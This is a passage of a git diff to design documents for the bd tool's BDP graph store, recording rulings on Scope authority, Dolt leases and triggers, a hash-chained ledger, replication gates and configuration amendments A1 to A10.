scheme — RULED:** mirror BDP's pinned startup contract. + An explicit `bdp.scope_url` (`BDP_SCOPE_URL`) is required to serve a + real Scope; a `local-test` URL derived from the listener is permitted + only under an explicit development mode and is never persisted as + identity; the URL is persisted in the graph store beside the authority + marker; never derived from a git remote or workspace path; one Scope + per workspace, path-distinguished under one host. +7b. **Listener — RULED (amended 2026-09-07, A2):** same listener, same + table-driven middleware path; BDP routes are a conditional second route + table inside `internal/httpapi` behind the same `route()` wrapper, so + bearer-auth and project-identity semantics are preserved by construction; + among serving commands, only `bd --graph-mode link serve` mints, and `bd serve` never refuses on + account of the graph. v0 authorization-view mapping: one view per bearer + token = the whole Scope (no hidden Resources) — honest and conformant + until real views exist; federation/multi-view later changes the + mapping, not the listener. +8. **Journal/changefeed — RULED:** frozen v0 journal untouched; the graph + store gets its own changefeed as a contract capability arriving with + P3 writes (providers with a native event log realize it over that). +9. **Serving authority — RULED (corrected model):** the authority is the + graph store *as reached through the normalized storage abstraction*, + whichever provider realizes it — not `bd serve`, and not Dolt. The + authority marker (Scope URL + authority id, minted on first serve by + `bd --graph-mode link serve` under a configured URL — ruling 12 as + amended by A2; A10 separately permits local solo minting), + single-serialized history, non-authority refusal (of graph writes AND + BDP serving for that URL), and **single-transaction operations under a + store-asserted authority witness** (A1, ruled 2026-09-07; the snapshot + lease is withdrawn as a mechanism — cross-request continuation is P2's + cursor ADR) are graph-CONTRACT obligations proven by the graph + conformance suite; the CLI graph verbs + and the BDP handler are both clients of that abstraction, so they are + one authority on any provider. Dolt is the in-tree reference + realization. Promotion is explicit and epoch-rotating; **in v0 a Scope's + authority is a shared database that minted it**, except A10's embedded + solo topology (A9 ruled 2026-09-07, amended by A10 on 2026-09-08): + replication, restore, and copy confer nothing; promotion in place is a + self-regrant or an operator's explicit steal; a new database takes a new + Scope URL; the shared-database fence is the lease of A7. Consequence: the + graph is single-authority while Issues stay multi-clone-mergeable — + graph writes on a non-authority instance refuse with a typed error. + Replica *reads* from a non-authority instance are deferred until BDP + defines replica labeling (candidate note for gastownhall/beads#6051). +10. *(Absorbed into decision 5 — the round-5 review closed this fork: + withholding is the only conformant option.)* +11. **Restore vs identity — RULED: both, layered.** The ledger is + append-only and restorable independently of state (older state + + current ledger preserves non-reuse); providers declare whether their + ledger survives restore; when preservation cannot be guaranteed, + `bd --graph-mode link restore` (spelling per A3) rotates the Scope URL and + epoch and refuses the old URL. An epoch change alone is never + sufficient. +12. **Store, Scope, client — RULED (replaces "empty-at-birth"):** three + commands, three responsibilities (§4 "Lifecycle commands"). `bd init` + initializes the graph store with everything else, against the + interfaces — no separate graph init. `bd --graph-mode link serve` + creates the Scope on first serve under a configured URL (A2), and + serves it honestly empty; `bd serve` only mounts an already-minted + held Scope and never mints. No URL → no BDP routes. A10 separately + permits local solo minting and verbs, with no embedded HTTP serving. A + client-wiring is `bd init --bdp-server ` — one more `bd init` + target, distinguished by rerouting ABOVE the storage abstraction (at + the CLI) rather than below it (§4 "Lifecycle commands"); after it, the + CLI's graph verbs speak BDP to the designated server. Tests prove Issues never leak into graph inventories; + a provider implementing the six accessor stubs without the capability + keeps existing `bd serve` behavior — routes absent, never a startup + failure (A8, ruled 2026-09-07). + +13. **Out-of-role DML enforcement boundary — RULED (2026-09-07): "A+B".** + Out-of-role DML — `bd sql` in both modes, raw SQL clients, force-push, + and merges — is out of contract. The state-change validator refuses + invalid or foreign-authority graph state on every observed + state-version change; for the ledger-covered tables (descriptors, + allocations, the ledger itself) the delta must be explained by ledger + events since the recorded head, and bead and link bodies are checked + by row provenance (`last_authority_id`/`last_epoch`). The eight + replicated graph tables carry `BEFORE INSERT/UPDATE/DELETE` triggers, + installed by the graph migrations, that refuse a row unless the session + set the role variable `@bd_graph_role`; every graphops mutation sets it + inside its transaction and clears it before `COMMIT` or `ROLLBACK`. + The fence stops accidents, not holders of database credentials; a + DB-privilege boundary (two SQL users) is a C-lane task. Merges belong + to ruling 14. Probed on Dolt 2.1.8: the trigger shape parses (in + `BEGIN … END` form) and fires (errno 1644); a session variable gates + it; a transaction that commits without clearing leaves the pooled + connection unfenced, one that clears does not; the triggers replicate + through `dolt_schemas` by push, clone, and pull; they are silent on + `DOLT_MERGE` and `DOLT_PULL`; one multi-statement `Exec` of a migration + file creates them over the tree's DSN; privileges live in + `.doltcfg/privileges.db` per installation and never replicate. Three + P0 verification rows gate the fence (§7); if one fails, v0 ships the + validator alone and this ruling records it. **Answered 2026-09-07:** + (i) PASS — the embedded leg creates and fires the triggers; (ii) + PASS-WITH-RULE — a transaction cancelled between statements is pooled + with the variable set on both server legs, so the deferred clear runs + on `context.WithoutCancel` and poisons the connection when it cannot be + confirmed; (iii) PASS-WITH-RULE — the CLI migration bundle needs a + `DELIMITER` rendition, check D and `doltIgnorePatterns` must learn the + lease table, and a dirty `dolt_schemas` is refused late. The fence + ships. **Ruled 2026-09-08 (Part D.7 = A):** the validator and ruling 14's + inspection set carry a fence census over `dolt_schemas` — each of the + eight replicated tables must carry its three triggers; a missing one is + repaired with the migration's idempotent `DROP TRIGGER IF EXISTS` + + `CREATE TRIGGER` pair before a delta is judged, and the census never + changes the graph-state version. No new `bd sql` flag: the + deliberate override is a proxied-mode batch that sets the variable + first, or a raw client session. Option A alone (validator only), C + (two SQL users in v0), and D (a `bd sql` statement guard) were the + alternatives; C stays a C-lane task, D is redundant under B. + +14. **Replication/merge ADR — RULED (2026-09-07): option B, the gate plus + a four-law charter.** The ADR gates the graph migrations (P1) and is + council-reviewed before they merge; it writes mechanism and conformance + rows under these laws. (1) **Fetch, inspect, merge.** Every SQL pull + route fetches, inspects the eight replicated tables between HEAD and + the remote-tracking ref (`dolt_diff('HEAD', 'remotes//', + '')`), and refuses before merging when the delta is + foreign-authority or unexplained by ledger events; routes that cannot + inspect first — the CLI-subprocess pull, a merge that already landed, + restore, force-push — fall to the state-change validator, which reverts + the eight tables to their state at the recorded HEAD in a new commit + when that HEAD is an ancestor (the hazard-R undo shape: table-scoped, + later commits preserved) and marks the witness `unverified` otherwise. + (2) **No graph-table conflict is ever auto-resolved**, `--strategy + ours|theirs` never touches a graph table, and the pull is refused + naming the table; the remedies are the link-mode verbs (rotate, steal, + restore), not conflict resolution. (3) **A foreign graph delta is + refused whole**; graph tables are never merged cell by cell; the later + of two mints under one URL adopts the earlier by an explicit verb the + ADR names (the A9 interim "earlier mint wins" becomes that verb). + (4) **A workspace without a witness takes the remote's graph state + wholesale** — its graph tables are a replica — and refuses to mint + until rotated or stolen (A9). Federation carries the graph tables + unfiltered in v0. The entry points the ADR must cover are every + `DOLT_PULL`/`DOLT_MERGE` route: the SQL pull route + (`pullWithAutoResolveUnchecked`), the CLI-subprocess pull, federation + peer pulls on both routes, the UOW leg's `Pull`, `bd vc merge` + (`MergeWithStrategy`), the remote-migrate gate's `--ff-only` adopt, and + `ForcePush`. Probed on Dolt 2.1.8: `DOLT_PULL` inside a transaction + commits the merge immediately — fast-forward and no-conflict three-way + alike — and `ROLLBACK` does not undo it (only a conflicted merge stays + in the working set, which is what the tree's rollback-on-conflict + relies on); after `DOLT_FETCH`, `dolt_diff` against the tracking ref + enumerates the incoming rows before any merge. Tree facts the ADR + inherits: `TryAutoResolveMergeConflicts` resolves only `metadata`, + audit-only `dependencies`, `issues` (field-level three-way), `labels`, + `comments`, and `events` — a conflict on any other table already fails + the pull; the SQL pull route merges into the default branch (be-5ybd), + where the graph tables and the lease live. Options A (gate only, + content open), C (post-hoc validator only), and D (gate at P2/P3) + rejected. The ADR is P1's first deliverable: + `engdocs/BDP_GRAPH_REPLICATION_ADR.md`. + +### Amendments ruled (A1–A9: 2026-09-07; A10: 2026-09-08) — the interview record + +Raised by eight three-reviewer councils on the W-arch docs and ruled one +decision at a time on 2026-09-07. The normative text above (rulings 7b, 9, +11, 12; §3; §4 lifecycle) now reads as amended; this block is the record. + +- **A1 (ruling 9).** "Single-transaction operations under a store-asserted + authority witness" replaces "the snapshot lease": the accessor loads this + workspace's witness (a clone-local file) and the body asserts it inside + its transaction — Scope row identity, hash-chained ledger head, the lease + (a read requires an unexpired lease and never writes it; a mutation must + UPDATE it and see one affected row), and the graph-state version. No + request type carries authority fields. The cursor is opaque from P1; + cross-request continuation is P2's cursor ADR; no collection routes ship + before it. +- **A2 (rulings 7b, 12).** BDP routes are a conditional second table inside + `internal/httpapi` behind the same middleware, served from the + unit-of-work leg. Only `bd --graph-mode link serve` mints, through the + staged startup; it inherits serve's whole-surface `--readonly` refusal + and refuses without a held Scope. `bd serve` mounts the rows when it + holds an already-minted Scope, converts every graph failure into "rows + absent + notice", and never refuses on account of the graph. Intra-Scope + references are stored Scope-relative and rendered against the live Scope + row; serving under a different base URL is a rotation, never a remount. +- **A3 (ruling 12 / §4 lifecycle).** Graph behavior is selected by the root + flag `--graph-mode link` (default `dependency`; `BD_GRAPH_MODE`; config + `graph-mode`), never by a verb prefix. The mode names the graph by its + edge kind; every verb creates, reads, or serves the selected graph or + refuses; `bd link` creates the selected graph's edge; without the flag + every verb is byte-identical to today. The root store policy keys on mode + and command path and is authoritative at every leaf-name call site. +- **A4 (§3 layering).** Values, laws, and roles live in public `graphops`; + accessors are named `BeadGraph*`; no `backend/` aliases. +- **A5 (ruling 11).** The clone-local half is `.beads/graph-authority.local.json`, + bound to an installation key, written under a bounded exclusive lock with + multi-phase transitions recovered by evidence; the ledger is an + append-only, hash-chained event table with a nonced sequence counter; the + witness records the head; no event exists before mint; the ledger lane + restores anti-reuse history only; providers declare `LedgerDurability`; + restore rotates unless continuity is shown. Residuals stated. The + retained-versions shape Memory needs is the History lane's (bdp#1). The + History lane's first laws are now ruled there (2026-09-08): a + version-addressed read is complete or a typed refusal — Unretained is a + refusal naming the missing fields, never a member inside a record — and + ownership over an open vocabulary is the `"*"` entry in `ownsOutgoing`; the + graph plane's own history reads, when they come, follow both. +- **A6 (§4 lifecycle, 7a env).** `bdp.scope_url` is a project fact in + tracked `config.yaml` (`BDP_SCOPE_URL` first), refused by `config set` + once a witness is held; `link-graph.route`, `bdp.server`, and + `bdp.insecure_http` live in untracked `config.local.yaml`, written by + `bd init --bdp-server` and the link-mode `client` verb; tokens from files + only; nothing in `metadata.json`; precedence env, then local, then + tracked, with the route blocked from env. +- **A7 (ruling 9, promotion) — the shared-database half.** A dolt-ignored + lease row bound to Scope and authority whose every write rewrites a + random fence cell and predicates on the value it read (probe-confirmed + on Dolt 2.1.8, which merges transactions cell by cell); reads never write + it and require an unexpired lease; an expired lease naming this workspace + self-regrants; a foreign holder is replaced only by an explicit + `--steal`; fenced transactions beside a live server carry a deadline + below a third of the TTL; `promote` and `rotate` run beside the server, + `types install`, `restore`, and `ledger apply` take the exclusive gate. + The remote half (publication primitive, remote-read freshness, + publication recovery) is deferred to the write-profile ADR under A9. +- **A9 (ruling 9).** v0 authority requires a shared database. The topology + matrix: a shared database that minted locally is authoritative regardless + of any configured remote; one that received the Scope row by replication, + restore, or copy refuses until rotated or explicitly stolen; embedded and + registered-backend workspaces refuse local authority operations and exist + as client hosts; a remote neither grants nor removes authority; two + shared databases minting under one tracked URL are settled by the + replication ADR (interim: the earlier mint wins). **Amended 2026-09-08 + (solo topology, ruled B — A10 below):** an embedded workspace with no + configured remote and no server is its own authority. + +- **A8 (§1 constraint #1; ruling 12) — option A.** Constraint #1 is + scoped to *behavior*: every in-tree topology and existing workspace is + byte-identical in gate output; out-of-tree `backend/` implementers take + the source break the storage interface already declares (six one-line + `ErrUnsupported` stubs, CHANGELOG call-out with the stub migration). The + compiler catches direct implementers; a required method promotes silently + through every wrapper that embeds the interface, so the three reflection + censuses stay mandatory. Option B (an optional capability interface with + explicit wrapper implementations, a capability census, and resolvers) + rejected. + +- **A10 (ruling 9; amends A9) — solo topology, RULED 2026-09-08: B.** An + embedded workspace with no configured remote and no server mints a local + Scope, holds a witness and a lease satisfied by the workspace gate (the + fence has nothing to fence: one process holds an embedded store), serves + nothing (`bd serve` still refuses embedded Dolt), and answers every + link-mode verb locally. It becomes a client host the moment a shared + database or remote appears, under the rotation and steal rules; a solo + store later pushed to a remote is "minted locally" for the replication + ADR — authoritative until a foreign delta appears. The embedded leg wires + the full read contract for the solo topology and the refusal contract for + client hosts. Raised by Steph's adoption harness (sjarmak/mem), which runs + bd embedded with one isolated store per trial; without this row the + post-P3 memory projection would have no local graph on any laptop. + Options A (defer to the P3 packet) and C (require a local server) + rejected. Epoch spelling confirmed the same day (`authority_epoch`, + `last_authority_epoch`, `birth_authority_epoch` at P1). diff --git a/engdocs/BDP_GRAPH_ARCHITECTURE.md b/engdocs/BDP_GRAPH_ARCHITECTURE.md new file mode 100644 index 000000000..9a6f71a7d --- /dev/null +++ b/engdocs/BDP_GRAPH_ARCHITECTURE.md @@ -0,0 +1,422 @@ +# BDP graph store — architecture and design + +**Status:** Draft v17 (W-arch) — A1–A9 and decisions D1–D2 (plan rulings 13–14) ruled 2026-09-07; A10 ruled 2026-09-08; P0 current-wire completion open — feat/bead-graph +**Date:** 2026-09-12 (v16: 2026-09-10; v15: 2026-09-09; v14: 2026-09-02) +**Companion:** `BDP_BEAD_GRAPH_PLAN.md` (the plan and its rulings, 1–14) and +`BDP_GRAPH_CLI_AND_STORAGE_SPEC.md` (the detailed CLI and storage-interface +changes). This document is the *shape*: what the pieces are, where they live, +how a request flows, and where this design corrects the plan after the +tree's own conventions were read closely. Eight three-reviewer councils +(Claude, Codex, Gemini) reviewed v1–v9; §2 records what changed and which +changes amend a ruling rather than a mechanism. Rounds 3–5 converged on one +area — the authority mechanism — and every round since v3 has replaced an +invented primitive with one the tree already has. v6 added the +operator's **simplification ruling (A9)**; v9 states its arbiter honestly: +physical database copies are an operator-managed hazard, not a fenced one. + +Revision v15: 2026-09-09 current-source alignment and council corrections; +phase/owner gates and pinned-source clarity added, historical rulings preserved. +Revision v16: 2026-09-10 formal-review correction carries the already-ruled A10 +into §2b and refreshes current dependency status. It does not clear the +reviewer/owner merge gate. + +Revision v17: 2026-09-12 records the P0 Read adoption and merged BDP +Transactional/History dependencies consistently with the owning plan; no new +contract pin, migration slot or runtime capability is selected. + + + +## Current dependency alignment (2026-09-09, refreshed 2026-09-12) + +[Plan §0a](BDP_BEAD_GRAPH_PLAN.md#0a-current-bdp-and-versioned-beads-alignment-2026-09-09) +contains the historical source records and the 2026-09-12 current refresh: +BDP #19/#20 and History #30 wire/spec are merged; Jim's Phase 1 is merged +and Phase 0/2 remain open. History realization and provider mapping remain +separate from the completed upstream normative materialization. The role split remains: graphops is the +graph domain, Jim's writer owns Issue history, and BDP wire DTOs own protocol +representations. No Issue projection or C-lane substrate change is selected. + +The graph authority lease is not TX's receipt execution/creator-attempt fence; +the graph anti-reuse ledger is not the projected erasure ledger; an Issue +ordinal is neither a graph revision nor a durable History address. P3 must +compose its durable admission/effects/outcomes under the upstream profile +contract. A future History provider must translate context, numeric values, +retained identity and erasure provenance explicitly. These obligations do +not add Writer or History methods to the existing P0 interface sketch. +The P3 ADR audits storage/interface deltas and their migration, state-version, +fence, replication-inspection and census implications under plan §0a. The +initial eight-table P1 scope does not prescribe future tables or another +accessor widening; any necessary addition honors frozen migrations and A8's +source-break policy. P1 need not await the full P3 design. + +P0 adopted the Read foundation at `19923f5bb6cc3f4ee4c508e36df3bd4c5c52344b`; +plan §0 records its exact pins and dated contract checks, including the narrow +erased-pointer port. The original pin and tests remain historical. Later +wire adoption and applicable successor checks remain explicit gates. [Plan §7's owner gates](BDP_BEAD_GRAPH_PLAN.md#current-wire-and-profile-adoption-gates-2026-09-09) +assign P0 contract/parity work and P2 serving proof, including shared response +negotiation and applicable conditionals. P3 separately records its reviewed +write-profile pin and evidence exit; RU need not await TX-only runtime. +This alignment does not claim that all upstream drafts have +merged or that graph/P0 implements their runtime behavior. + +## 1. The one-paragraph version + +The graph store is a new **plane** beside issues and memories: a public leaf +contract package (`graphops`) declaring the value types, the laws, and six +role interfaces, reached through **role accessors on `storage.Storage`** +(`BeadGraph*`, to keep clear of the issue-graph `GraphCounter()`) exactly as +`issueops` and `memoryops` are — declared explicitly by every decorator +(promotion is the failure mode the censuses catch), wrapped by telemetry, +recursed unwrapped by the hook layer — with one shared transaction-level +body under `internal/storage` taking a `DBTX`-shaped runner so that both +Dolt stores *and* the unit-of-work leg call the same code, proven by +`backend/conformance` role contracts wired on all three legs and guarded by +the existing coverage gates. BDP is served by the existing +`internal/httpapi` server as a **conditional second route table** behind the +same `route()` middleware — in v0 **only from SQL-server workspaces** (the +unit-of-work leg; `bd serve` refuses embedded Dolt permanently, and a +registered backend's store arm has no fence to offer until it declares +one). `bd --graph-mode link serve` is the strict command over that server: it mints and +it requires a Scope this workspace holds; `bd serve` mounts the same rows +when it holds an already-minted Scope and never refuses on account of the +graph. Every operation is **one role call, one transaction**, asserting a +**store-owned authority witness** — loaded by the accessor from a +clone-local file bound to this installation, checked against a hash-chained +ledger head and, on the shared-database leg, a lease row the mutation itself +must update. The store refuses a clone without local authority, a restore whose +head is absent from the witness, and a promotion elsewhere; no caller can +supply the witness. Copies carrying coherent local state are an operator-managed +hazard, including a solo store copy; the store cannot infer their provenance. +A shared database is fenced by that +lease. Under A9, a configured remote neither grants nor removes authority; +hazard R's publication mechanism is deferred to the write-profile ADR. A +shared database that minted locally remains authoritative with a remote. +The A10 exception is an embedded workspace with no remote and no server: it has local authority and +local link-mode verbs, but serves no HTTP. Its workspace gate satisfies the +solo lease; appearance of a shared database or remote makes it a client host +under the existing rotation and steal rules. A10 also preserves the replication +case: a solo store later pushed to a remote counts as minted locally and remains +authoritative until a foreign delta appears. The full A10 row governs both cases. + +## 2. Corrections to the plan and ruled amendments (read this first) + +Two kinds of change are recorded here and must not be confused. A +**mechanism correction** replaces something the plan's §4 *proposed* with +the house idiom that already solves the problem; the ruling it serves is +unchanged. A **ruling amendment** changes text the operator ratified in §9; +the amendments below are recorded outcomes, with their ruling dates. They +are no longer proposals; an implementation gate is not a pending ruling. + +### 2a. Mechanism corrections (no ruling changes) + +| Plan §4 mechanism | Replaced by | Why | +| --- | --- | --- | +| `GraphCapable` as a *separate optional interface*, resolved by targeted decorator peels (`graphsource` package) | **Role accessors on `storage.Storage`** — the house rule — under ruled A8 option A; option B was rejected | Every accessor lives on `Storage` (28 today); `DoltStorage` embeds it; both decorators embed the `DoltStorage` *interface*. A method added to `Storage` is therefore **promoted through the embedded interface**: every wrapper compiles unchanged — which is exactly why the reflection census in `role_accessor_decorator_test.go` (and its telemetry twin) exists: wrappers must **declare** each accessor, and the census catches the ones that silently promote. | +| A `ResolveGraphReadSource` policy that "re-applies telemetry" after peeling | Nothing — **the accessors carry the layers** | This is what accessors are *for* in this tree. | +| `backend/types.go` aliases for every `graphops` type | **No aliases.** `graphops` is a public root package, like `issueops` | The completeness guard demands aliases only for types under `internal/`. | +| `internal/graphapi` as a separate meaning-function package | **The laws live in `graphops`** | Import rule and cycle. | +| A `ReadSnapshot` handed from a resolver to a handler; a caller-supplied expectation (v2/v3) | **One role call, one transaction, asserting a store-owned witness** (A1) | A witness the *caller* supplies is forgeable from the replicated rows. | +| `SELECT … FOR UPDATE` on the Scope row to serialize the ledger (v4); a bare `next = next + 1` counter (v5–v6) | **A single-row counter whose every allocation writes a fresh random cell** (`next_seq = next_seq + 1, alloc_nonce = `) — the journal's `bd_events_seq` shape, corrected | Dolt has no row locks (`FOR UPDATE` is a parse-only no-op) **and merges concurrent transactions cell by cell**: two sessions each doing `next = next + 1` from the same value both commit and the counter reads one increment (probed on 2.1.8). Only a same-cell-*different-value* write is a serialization failure (`1213`) that `withRetryTx`/`RunTxResult` replay; the random cell makes every allocation one. The events PK is the second guard, and it too converges silently on byte-identical rows — the nonce makes rows differ. The journal's own prose carries the misconception; its PK plus duplicate-key heal is what actually guards it. `next` is reserved in Dolt's parser. | +| `DOLT_RESET --hard` to undo a refused publication (v4–v5) | **`DOLT_RESET --soft `, then per graph table `DOLT_RESET('
')` (unstage) and `DOLT_CHECKOUT('
')`** when HEAD is still the operation commit; **`DOLT_REVERT `** when HEAD has moved; the ignored lease restored on either path under the same-holder guard | A hard reset discards unrelated dirty work on a shared server; a bare checkout after a soft reset restores from the *staged* root and reverts nothing (probed), the unstage step makes it revert only the graph tables; a revert preserves later commits from other actors. | + +### 2b. Ruling amendments A1–A10 and decisions D1–D2 (ruled 2026-09-07 and 2026-09-08) + +| # | Ruling | Earlier drafts said | Ruled outcome (A1–A9: 2026-09-07; A10: 2026-09-08) | Evidence | +| --- | --- | --- | --- | --- | +| A1 | **9** ("the snapshot lease" in the obligation list) | dropped silently (v1); caller-supplied expectation (v2–v3) | **RULED.** **The per-call transaction is the v0 lease and asserts a store-owned authority witness:** the accessor loads the witness from the clone-local file and the body checks it *inside the same transaction* — Scope row identity, the hash-chained ledger head (exact-prefix identity), the lease row (a protected read `SELECT`s it inside the read transaction and checks holder, epoch, **and `expires_at > NOW(6)`** — a holder/epoch match alone proves only that no takeover was visible in the snapshot, not that the lease is live; **reads never write the lease**: on the serving leg the watcher renews and a near-expiry read fails closed as `lost`; a CLI read whose lease names this workspace but has expired regrants **once, ephemerally, before opening a fresh read transaction** and retries; the read's context deadline is derived from the remaining lease interval and is below it; a mutation `UPDATE`s it and requires one affected row, with the holder's installation key, epoch, **and the `fence` cell value read in this transaction** in the predicate, and **sets `fence` to a fresh random value and `expires_at = NOW(6) + ttl`** — every lease write does, so any two concurrent lease writers are a same-cell-different-value conflict Dolt reports as `1213` (probed on both the versioned and the ephemeral commit paths); the loser is replayed with a fresh random fence and **re-evaluates its preconditions**: a still-authorized writer then succeeds serially, a superseded or stolen one matches zero rows and refuses. An expired lease that still names this workspace is **self-regranted** by the same write — promotion is needed only when the holder or the epoch differ), and the graph-state version (the ordered per-table hashes of the eight replicated graph tables). Public request types carry **no** authority fields. The cursor type is opaque from P1. | Rounds 1, 3, 4, 5. | +| A2 | **7b + 12** (listener; "`bd serve` creates the Scope on first serve") | a sibling server (v1); `bd serve` mints (v2–v4) | **RULED.** **BDP rows mount inside `internal/httpapi`** as a conditional second route table behind the same `route()`. **Of the serving commands, only `bd --graph-mode link serve` mints** (A10 separately permits local solo minting), through the **one staged startup sequence** in the spec's Part A (shared gate → temporary source reads the Scope row → close → release → only when there is no Scope row: exclusive gate → reopen, re-check, mint → close → release → shared gate → serving source → re-evaluate the identity table under it → serve; the tree forbids a shared→exclusive upgrade, and the conformance case asserts the shared gate is released before the exclusive acquisition). `bd --graph-mode link serve` inherits `errServeReadonly` and refuses without a held Scope; **`bd serve` converts every graph failure into "rows absent + notice"** and is byte-identical without a URL. **v0 serves BDP only from SQL-server workspaces** (the unit-of-work leg): embedded Dolt never serves, and a **registered backend's store arm** — which may itself be embedded — has no fence, so its rows are absent in v0; an out-of-tree backend cannot import an `internal/` capability, so the seam it would declare is the deferred ADR's to define (a public interface or an in-tree adapter), not `graphcap`'s. **Intra-Scope references are stored Scope-relative and rendered against the live Scope row, never as absolute URLs, so a remount rewrites nothing; a server started under a base URL that differs from the persisted Scope URL refuses — serving under a new base is a rotation, never a remount** (operator, 2026-09-07). | Rounds 2–5. | +| A3 | **12** / §4 lifecycle | verbs "reserved now"; then a link mode prefix | **RULED.** Graph behavior is selected by the root flag **`--graph-mode link`** (default `dependency`; `BD_GRAPH_MODE`; config `graph-mode`), never by a verb prefix. The mode names the graph by its edge kind: every verb creates, reads, or serves the selected graph or refuses; `bd link` creates the selected graph's edge; without the flag every verb is byte-identical to today. The root store policy keys on mode and command path and is authoritative at every leaf-name call site (paired Cobra-walk and source-scan tests). | `bd link`, `bd graph`, `bd restore`, `bd promote` exist; a verb prefix named the protocol, not the graph (operator). | +| A4 | §3 layering | values moved silently | **RULED.** **Record it:** values, laws, and roles in public `graphops`; accessors named `BeadGraph*`. | Package layout is public API. | +| A5 | **11** (ledger "restorable independently … its own migration") | dolt-ignored table (v2); project-id file (v3); hostname key (v4) | **RULED.** **(i) The clone-local half is `.beads/graph-authority.local.json`**, bound to an **installation key**: a random id created once, `O_EXCL`, mode 0600, re-read after creation, directory fsynced, in the user config directory the tree's `UserConfigYamlPath` resolver already chooses (`~/.config/bd`, native fallback) — plus the canonical `.beads` path; never the hostname. Written only by the witness manager under a bounded exclusive lock; **transitions are multi-phase** (`begun → local_committed → published → config_written → finalized`, recording a **durable operation id** — a hash-covered, indexed `op_id` column on every ledger event, and the commit message — the pre-operation HEAD and ledger head, the operation commit, the expected graph roots, the remote pre-head, the pre-operation lease row, and the config intent), recovered on the next load by **evidence, not by phase alone**: the ledger is checked for the operation id (a crash between the commit and the phase write leaves `begun` with the operation committed), then the remote is classified as {still at the pre-head, contains this operation, contains foreign work}, and recovery resumes publication, finalizes, or undoes accordingly; on a shared database with no remote a locally committed transition counts as published, **executes any outstanding `config_intent`**, records `config_written`, and only then finalizes. An **undo is itself phased** (`undo_started → versioned_undone → lease_restored`) and resumes from its recorded phase regardless of whether the operation still appears in the ledger; in-process renewal and graph mutation pause for its duration; the lease is restored **only on the reset path and only if it still names this workspace**. `Advance` is a **descendant-aware compare-and-advance** that holds the file lock while a **provider-supplied verifier** (ledger-prefix and commit-ancestry checks, run in the store) decides: a candidate already contained in the current witness is a successful no-op, newer fields are never replaced by older ones, and a fork is rejected — commits may complete in one order and advance in another; opaque hashes alone cannot decide this, so the manager never tries to. The manager ensures the ignore entries and refuses a git-tracked path; a tracked witness is an **error-class** doctor finding (`sensitiveFileNames`). **(ii) The ledger is an append-only, hash-chained event table** (`mint`, `install`, `update`, `promote`, `rotate`, `allocate`, `tombstone`, `refuse_url`) with a single-row counter; the witness records the head `{seq, hash}`. **No event exists before mint.** The ledger lane (`bd --graph-mode link ledger snapshot|apply`) restores **anti-reuse history, not graph content**: an applied `allocate` whose row is absent becomes a `reserved` allocation (never reusable; reads answer gone), the Scope lineage is replayed, and the counter is set to `last_seq + 1`; full recovery is a database restore *plus* the lane. **(iii)** providers declare `LedgerDurability`; `bd --graph-mode link restore` rotates unless continuity is shown. **Two epochs, distinct:** History's `store_epoch` singleton (versioned-beads Phase 1, migration 0067) fences restore and replacement on the issue plane; the graph's authority epoch fences promotion on the graph plane; a restore must be reasoned about for both. **Stated residuals:** a whole-directory or whole-installation copy carries the witness and is undetectable without an arbiter — so outside A10, an *authority-preserving* deployment must have one (a shared database under A9). **A10 amends that topology restriction:** an embedded workspace with no remote and no server has local authority under its workspace gate; the solo/client-host boundary and rotation/steal rules are stated in A10 below. The solo leg is single-copy by operator responsibility; a copied or restored solo store that cannot establish continuity requires a new Scope, rather than a claim that the gate detects a coherent copy. Physical copies remain the stated operator-managed hazard. | Rounds 2–5. | +| A6 | §4 lifecycle (metadata.json; `BD_BDP_TOKEN`; `BDP_SCOPE_URL`) | both files; env token | **RULED.** **`bdp.scope_url` is a project fact in tracked `config.yaml`** (yaml-only; `BDP_SCOPE_URL` read first, then `BD_BDP_SCOPE_URL`). A mint with `--scope-url` writes it as the transition's `config_written` phase. **Once this workspace holds a witness, `bd config set`/`set-many`/`unset` refuse the key** (one guard in the shared `rejectProtectedConfigKey` path; a DB-free file check) — the URL then changes only through `bd --graph-mode link promote --rotate-url` / `bd --graph-mode link restore`, which are refused while an overriding `BDP_SCOPE_URL` is exported. **`bdp.client`, `bdp.server`, `bdp.insecure_http` live in `config.local.yaml`** via `bd init --bdp-server` and `bd --graph-mode link client`. The three new `.beads/` files join the gitignore template, `requiredPatterns`, and `trackedRuntimePatterns`; only the witness joins `sensitiveFileNames` (error class). No env-carried token; no token key in config; `bdp.client` blocked from env. | Rounds 2–5. | +| A7 | **9** (promotion "explicit and epoch-rotating") — *new* | v5 partitioned by hazard but fenced a subset | **RULED.** **Fences compose by hazard; every replicated graph mutation is fenced inside its transaction and, on hazard R, published by one primitive.** *Hazard S — a shared database* (every SQL-server topology): the dolt-ignored **`graph_authority_lease`** row (the `leases`/`RunTxEphemeral` precedent) with the **fence cell** predicate in A1 — the holder is the **workspace (installation key)**, so the serving process and the workspace's own CLI verbs share it (`promote` and `rotate` take the *shared* gate and rely on the lease; `types install`, `restore`, and `ledger apply` take the exclusive gate and require the server stopped); renewal is ephemeral, rewrites the fence, and extends `expires_at`; an expired lease naming this workspace is self-regranted by the next write **regardless of expiry**; a lease naming another holder is taken **only with `--steal`** — its expiry alone never grants a takeover — and the epoch is CASed. **A lease row is not proof of "minted here"**: `dolt clone` omits the dolt-ignored table, but `DOLT_BACKUP` restore and a directory copy carry the working set with it, and Dolt's `@@server_uuid` is per machine (`~/.dolt/config_global.json`; probed identical for a same-machine copy), so no in-band identity distinguishes a copied database served by a second `sql-server`. The lease row is therefore bound to `scope_url` and `authority_id`, and in-place promotion has exactly two paths: **self-regrant** when the row names this workspace, and **`--steal`**, an operator assertion of "same database" in the class of force-push and `bd sql`; a foreign holder's *expiry alone* never grants a takeover. `Promote --rotate-url` is the bootstrap that creates a new lease row under a new URL (refusing the old one forever) — the path for a clone, a restore that cannot show continuity, and a copy. Residual, stated: a `--steal` on a copied database creates a second authority; a restored copy is caught first by the witness's ledger head (`ErrStateRewound`). Throughput model, stated: concurrent graph mutations in one workspace serialize pairwise on the fence cell, and a fenced transaction that spans a renewal loses whenever the renewal commits first, so **every fenced transaction that runs beside a possible renewer (the shared-gate context) carries a deadline below a third of the TTL** (cancelled and retried past it — the replay budget must allow more than one attempt), in-process renewal is serialized against the process's own mutations with jittered cadence, and **`types install` runs under the exclusive gate**, where the sole writer sets `expires_at` itself and runs unbounded. **The file lock is held continuously from `Begin` through `Finalize`/`Abandon`**, and recovery acquires it first, so a live transition is never mistaken for crash residue. *Hazard R — a configured remote* **[deferred under A9, ruled: input to the write-profile ADR, not normative for v0]**: **every** replicated graph mutation (`Mint`, `Promote`, `Rotate`, `Install`, `LedgerApply`, the 